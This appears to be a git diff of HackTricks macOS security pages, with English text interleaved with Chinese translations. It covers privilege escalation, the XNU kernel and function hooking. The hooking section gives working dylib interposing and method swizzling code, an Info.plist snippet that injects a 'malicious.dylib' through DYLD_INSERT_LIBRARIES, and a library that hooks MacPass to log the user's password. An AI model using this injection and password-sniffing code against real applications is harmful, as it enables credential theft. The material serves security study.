# macOS Security & Privilege Escalation
# macOS 安全与权限提升
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
## 基础 MacOS
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
如果您对 macOS 不熟悉,您应该开始学习 macOS 的基础知识:
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## Basic MacOS
If you are not familiar with macOS, you should start learning the basics of macOS:
- Special macOS **files & permissions:**
- 特殊的 macOS **文件和权限:**
{{#ref}}
macos-files-folders-and-binaries/
{{#endref}}
- Common macOS **users**
- 常见的 macOS **用户**
{{#ref}}
macos-users.md
@ -39,112 +24,97 @@ macos-users.md
macos-applefs.md
{{#endref}}
- The **architecture** of the k**ernel**
- **内核**的 **架构**
{{#ref}}
mac-os-architecture/
{{#endref}}
- Common macOS n**etwork services & protocols**
- 常见的 macOS n**etwork 服务和协议**
{{#ref}}
macos-protocols.md
{{#endref}}
- **Opensource** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- To download a `tar.gz` change a URL such as [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) to [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
- **开源** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
- 要下载 `tar.gz`,将 URL 更改为 [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
In companies **macOS** systems are highly probably going to be **managed with a MDM**. Therefore, from the perspective of an attacker is interesting to know **how that works**:
在公司中,**macOS** 系统很可能会被 **MDM 管理**。因此,从攻击者的角度来看,了解 **其工作原理** 是很有趣的:
{{#ref}}
../macos-red-teaming/macos-mdm/
{{#endref}}
### MacOS - Inspecting, Debugging and Fuzzing
### MacOS - 检查、调试和模糊测试
{{#ref}}
macos-apps-inspecting-debugging-and-fuzzing/
{{#endref}}
## MacOS Security Protections
## MacOS 安全保护
{{#ref}}
macos-security-protections/
{{#endref}}
## Attack Surface
## 攻击面
### File Permissions
### 文件权限
If a **process running as root writes** a file that can be controlled by a user, the user could abuse this to **escalate privileges**.\
This could occur in the following situations:
如果 **以 root 身份运行的进程写入** 一个可以被用户控制的文件,用户可能会利用此文件来 **提升权限**\
这可能发生在以下情况下:
- File used was already created by a user (owned by the user)
- File used is writable by the user because of a group
- File used is inside a directory owned by the user (the user could create the file)
- File used is inside a directory owned by root but user has write access over it because of a group (the user could create the file)
- 使用的文件已经由用户创建(由用户拥有)
- 使用的文件因组而可被用户写入
- 使用的文件位于用户拥有的目录中(用户可以创建该文件)
- 使用的文件位于 root 拥有的目录中,但用户因组而具有写入权限(用户可以创建该文件)
Being able to **create a file** that is going to be **used by root**, allows a user to **take advantage of its content** or even create **symlinks/hardlinks** to point it to another place.
能够 **创建一个将被 root 使用的文件**,允许用户 **利用其内容**,甚至创建 **符号链接/硬链接** 指向另一个位置。
For this kind of vulnerabilities don't forget to **check vulnerable `.pkg` installers**:
对于这种漏洞,不要忘记 **检查易受攻击的 `.pkg` 安装程序**
{{#ref}}
macos-files-folders-and-binaries/macos-installers-abuse.md
{{#endref}}
### File Extension & URL scheme app handlers
### 文件扩展名和 URL 方案应用程序处理程序
Weird apps registered by file extensions could be abused and different applications can be register to open specific protocols
通过文件扩展名注册的奇怪应用程序可能会被滥用,不同的应用程序可以注册以打开特定协议
{{#ref}}
macos-file-extension-apps.md
{{#endref}}
## macOS TCC / SIP Privilege Escalation
## macOS TCC / SIP 权限提升
In macOS **applications and binaries can have permissions** to access folders or settings that make them more privileged than others.
在 macOS 中,**应用程序和二进制文件可以拥有** 访问文件夹或设置的权限,使其比其他应用程序更具特权。
Therefore, an attacker that wants to successfully compromise a macOS machine will need to **escalate its TCC privileges** (or even **bypass SIP**, depending on his needs).
因此,想要成功攻陷 macOS 机器的攻击者需要 **提升其 TCC 权限**(甚至 **绕过 SIP**,具体取决于其需求)。
These privileges are usually given in the form of **entitlements** the application is signed with, or the application might requested some accesses and after the **user approving them** they can be found in the **TCC databases**. Another way a process can obtain these privileges is by being a **child of a process** with those **privileges** as they are usually **inherited**.
这些权限通常以 **应用程序签名的授权** 形式授予,或者应用程序可能请求某些访问权限,在 **用户批准后**,它们可以在 **TCC 数据库** 中找到。进程获取这些权限的另一种方式是成为具有这些 **权限** 的进程的 **子进程**,因为它们通常是 **继承的**
Follow these links to find different was to [**escalate privileges in TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), to [**bypass TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) and how in the past [**SIP has been bypassed**](macos-security-protections/macos-sip.md#sip-bypasses).
请访问这些链接以找到不同的方式 [**在 TCC 中提升权限**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses),以 [**绕过 TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) 和过去 [**如何绕过 SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
## macOS Traditional Privilege Escalation
## macOS 传统权限提升
Of course from a red teams perspective you should be also interested in escalating to root. Check the following post for some hints:
当然,从红队的角度来看,您也应该对提升到 root 感兴趣。查看以下帖子以获取一些提示:
{{#ref}}
macos-privilege-escalation.md
{{#endref}}
## macOS Compliance
## macOS 合规性
- [https://github.com/usnistgov/macos_security](https://github.com/usnistgov/macos_security)
## References
## 参考文献
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**OS X 事件响应:脚本和分析**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
- [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,69 +1,69 @@
# macOS Kernel & System Extensions
# macOS 内核与系统扩展
{{#include ../../../banners/hacktricks-training.md}}
## XNU Kernel
## XNU 内核
The **core of macOS is XNU**, which stands for "X is Not Unix". This kernel is fundamentally composed of the **Mach microkerne**l (to be discussed later), **and** elements from Berkeley Software Distribution (**BSD**). XNU also provides a platform for **kernel drivers via a system called the I/O Kit**. The XNU kernel is part of the Darwin open source project, which means **its source code is freely accessible**.
**macOS 的核心是 XNU**代表“X is Not Unix”。这个内核基本上由 **Mach 微内核**(稍后讨论)和来自伯克利软件分发(**BSD**的元素组成。XNU 还通过一个名为 I/O Kit 的系统提供 **内核驱动程序的平台**。XNU 内核是 Darwin 开源项目的一部分,这意味着 **其源代码是公开可获取的**
From a perspective of a security researcher or a Unix developer, **macOS** can feel quite **similar** to a **FreeBSD** system with an elegant GUI and a host of custom applications. Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages.
从安全研究人员或 Unix 开发者的角度来看,**macOS** 感觉与 **FreeBSD** 系统非常 **相似**,具有优雅的 GUI 和一系列自定义应用程序。大多数为 BSD 开发的应用程序可以在 macOS 上编译和运行,而无需修改,因为 Unix 用户熟悉的命令行工具在 macOS 中都存在。然而,由于 XNU 内核包含 Mach因此传统 Unix 类系统与 macOS 之间存在一些显著差异,这些差异可能导致潜在问题或提供独特优势。
Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
XNU 的开源版本:[https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**.
Mach 是一个 **微内核**,旨在 **与 UNIX 兼容**。其一个关键设计原则是 **最小化****内核** 空间中运行的 **代码** 数量,而允许许多典型的内核功能,如文件系统、网络和 I/O**作为用户级任务运行**。
In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management.
在 XNU 中Mach 负责内核通常处理的许多关键低级操作,如处理器调度、多任务处理和虚拟内存管理。
### BSD
The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including:
XNU **内核****包含** 大量来自 **FreeBSD** 项目的代码。这些代码 **与 Mach 一起作为内核的一部分运行**在同一地址空间中。然而XNU 中的 FreeBSD 代码可能与原始 FreeBSD 代码有显著不同,因为需要进行修改以确保其与 Mach 的兼容性。FreeBSD 为许多内核操作做出贡献,包括:
- Process management
- Signal handling
- Basic security mechanisms, including user and group management
- System call infrastructure
- TCP/IP stack and sockets
- Firewall and packet filtering
- 进程管理
- 信号处理
- 基本安全机制,包括用户和组管理
- 系统调用基础设施
- TCP/IP 堆栈和套接字
- 防火墙和数据包过滤
Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure.
由于 BSD 和 Mach 之间的不同概念框架理解它们之间的交互可能很复杂。例如BSD 使用进程作为其基本执行单元,而 Mach 基于线程操作。这种差异在 XNU 中通过 **将每个 BSD 进程与一个包含恰好一个 Mach 线程的 Mach 任务关联** 来调和。当使用 BSD 的 fork() 系统调用时,内核中的 BSD 代码使用 Mach 函数来创建任务和线程结构。
Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel.
此外,**Mach 和 BSD 各自维护不同的安全模型****Mach 的** 安全模型基于 **端口权限**,而 BSD 的安全模型基于 **进程所有权**。这两种模型之间的差异偶尔会导致本地特权提升漏洞。除了典型的系统调用外,还有 **Mach 陷阱,允许用户空间程序与内核交互**。这些不同的元素共同构成了 macOS 内核的多面性混合架构。
### I/O Kit - Drivers
### I/O Kit - 驱动程序
The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**. It allows modular code to be added to the kernel on-the-fly, supporting diverse hardware.
I/O Kit 是 XNU 内核中的一个开源、面向对象的 **设备驱动程序框架**,处理 **动态加载的设备驱动程序**。它允许在内核中动态添加模块化代码,支持多种硬件。
{{#ref}}
macos-iokit.md
{{#endref}}
### IPC - Inter Process Communication
### IPC - 进程间通信
{{#ref}}
../macos-proces-abuse/macos-ipc-inter-process-communication/
{{#endref}}
## macOS Kernel Extensions
## macOS 内核扩展
macOS is **super restrictive to load Kernel Extensions** (.kext) because of the high privileges that code will run with. Actually, by default is virtually impossible (unless a bypass is found).
由于代码将以高权限运行macOS 对加载内核扩展(.kext**非常严格**。实际上,默认情况下几乎不可能(除非找到绕过方法)。
In the following page you can also see how to recover the `.kext` that macOS loads inside its **kernelcache**:
在以下页面中,您还可以看到如何恢复 macOS 在其 **kernelcache** 中加载的 `.kext`
{{#ref}}
macos-kernel-extensions.md
{{#endref}}
### macOS System Extensions
### macOS 系统扩展
Instead of using Kernel Extensions macOS created the System Extensions, which offers in user level APIs to interact with the kernel. This way, developers can avoid to use kernel extensions.
macOS 创建了系统扩展,而不是使用内核扩展,提供用户级 API 与内核交互。这样,开发人员可以避免使用内核扩展。
{{#ref}}
macos-system-extensions.md
{{#endref}}
## References
## 参考文献
- [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt_other?_encoding=UTF8&me=&qid=)
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)

View File

@ -4,52 +4,47 @@
## Function Interposing
Create a **dylib** with an **`__interpose`** section (or a section flagged with **`S_INTERPOSING`**) containing tuples of **function pointers** that refer to the **original** and the **replacement** functions.
创建一个带有 **`__interpose`** 部分(或标记为 **`S_INTERPOSING`** 的部分)的 **dylib**,其中包含指向 **原始****替代** 函数的 **函数指针** 元组。
Then, **inject** the dylib with **`DYLD_INSERT_LIBRARIES`** (the interposing needs occur before the main app loads). Obviously the [**restrictions** applied to the use of **`DYLD_INSERT_LIBRARIES`** applies here also](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
然后,使用 **`DYLD_INSERT_LIBRARIES`** 注入 dylib插入需要在主应用加载之前发生。显然适用于 **`DYLD_INSERT_LIBRARIES`** 使用的 [**限制** 在这里也适用](../macos-proces-abuse/macos-library-injection/#check-restrictions)。&#x20;
### Interpose printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -57,26 +52,24 @@ int main() {
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
@ -84,24 +77,22 @@ Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## 方法交换
## Method Swizzling
在 ObjectiveC 中,方法调用的方式是:**`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
In ObjectiveC this is how a method is called like: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
需要 **对象**、**方法**和 **参数**。当调用一个方法时,使用函数 **`objc_msgSend`** 发送 **msg**`int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
It's needed the **object**, the **method** and the **params**. And when a method is called a **msg is sent** using the function **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
对象是 **`someObject`**,方法是 **`@selector(method1p1:p2:)`**,参数是 **value1****value2**。
The object is **`someObject`**, the method is **`@selector(method1p1:p2:)`** and the arguments are **value1**, **value2**.
Following the object structures, it's possible to reach an **array of methods** where the **names** and **pointers** to the method code are **located**.
根据对象结构,可以访问一个 **方法数组**,其中 **名称****指向方法代码的指针****存放**
> [!CAUTION]
> Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with `otool -ov </path/bin>` or [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
> 请注意,由于方法和类是根据其名称访问的,因此这些信息存储在二进制文件中,因此可以使用 `otool -ov </path/bin>` [`class-dump </path/bin>`](https://github.com/nygard/class-dump) 检索它。
### Accessing the raw methods
It's possible to access the information of the methods such as name, number of params or address like in the following example:
### 访问原始方法
可以访问方法的信息,例如名称、参数数量或地址,如以下示例所示:
```objectivec
// gcc -framework Foundation test.m -o test
@ -110,71 +101,69 @@ It's possible to access the information of the methods such as name, number of p
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
return 0;
}
```
### 方法交换与 method_exchangeImplementations
### Method Swizzling with method_exchangeImplementations
The function **`method_exchangeImplementations`** allows to **change** the **address** of the **implementation** of **one function for the other**.
函数 **`method_exchangeImplementations`** 允许 **更改** **一个函数的实现地址为另一个函数的实现**
> [!CAUTION]
> So when a function is called what is **executed is the other one**.
> 因此,当调用一个函数时,**执行的是另一个函数**。
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -192,44 +181,42 @@ The function **`method_exchangeImplementations`** allows to **change** the **add
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
return 0;
}
```
> [!WARNING]
> In this case if the **implementation code of the legit** method **verifies** the **method** **name** it could **detect** this swizzling and prevent it from running.
> 在这种情况下,如果**合法**方法的**实现代码**对**方法**的**名称**进行**验证**,它可能会**检测**到这种交换并阻止其运行。
>
> The following technique doesn't have this restriction.
> 以下技术没有这个限制。
### Method Swizzling with method_setImplementation
### 使用 method_setImplementation 进行方法交换
The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function **`method_setImplementation`** you can **change** the **implementation** of a **method for the other one**.
Just remember to **store the address of the implementation of the original one** if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.
之前的格式很奇怪,因为你正在将两个方法的实现互相更改。使用函数 **`method_setImplementation`**,你可以**更改**一个**方法的实现为另一个**。
只需记住,如果你打算在覆盖之前从新实现中调用原始实现,请**存储原始实现的地址**,因为稍后定位该地址会更加复杂。
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -246,75 +233,69 @@ static IMP original_substringFromIndex = NULL;
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
return 0;
}
}
```
## Hooking Attack Methodology
In this page different ways to hook functions were discussed. However, they involved **running code inside the process to attack**.
在本页中讨论了不同的函数钩取方法。然而,它们涉及到**在进程内部运行代码进行攻击**。
In order to do that the easiest technique to use is to inject a [Dyld via environment variables or hijacking](../macos-dyld-hijacking-and-dyld_insert_libraries.md). However, I guess this could also be done via [Dylib process injection](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
为了做到这一点,最简单的技术是通过环境变量或劫持来注入一个[Dyld](../macos-dyld-hijacking-and-dyld_insert_libraries.md)。不过,我想这也可以通过[Dylib 进程注入](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port)来完成。
However, both options are **limited** to **unprotected** binaries/processes. Check each technique to learn more about the limitations.
然而,这两种选项都**限制**于**未保护**的二进制文件/进程。检查每种技术以了解更多关于限制的信息。
However, a function hooking attack is very specific, an attacker will do this to **steal sensitive information from inside a process** (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.
So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the **`DYLD_INSERT_LIBRARIES`** env variable through the Info.plist of the application adding something like:
然而,函数钩取攻击是非常具体的,攻击者会这样做以**从进程内部窃取敏感信息**(否则你只会进行进程注入攻击)。这些敏感信息可能位于用户下载的应用程序中,例如 MacPass。
因此,攻击者的途径是找到一个漏洞或去掉应用程序的签名,通过应用程序的 Info.plist 注入**`DYLD_INSERT_LIBRARIES`**环境变量,添加类似于:
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
and then **re-register** the application:
然后**重新注册**应用程序:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Add in that library the hooking code to exfiltrate the information: Passwords, messages...
在该库中添加钩子代码以提取信息:密码、消息...
> [!CAUTION]
> Note that in newer versions of macOS if you **strip the signature** of the application binary and it was previously executed, macOS **won't be executing the application** anymore.
#### Library example
> 请注意,在较新版本的 macOS 中,如果您 **剥离应用程序二进制文件的签名** 并且它之前已被执行macOS **将不再执行该应用程序**
#### 库示例
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -331,27 +312,26 @@ static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
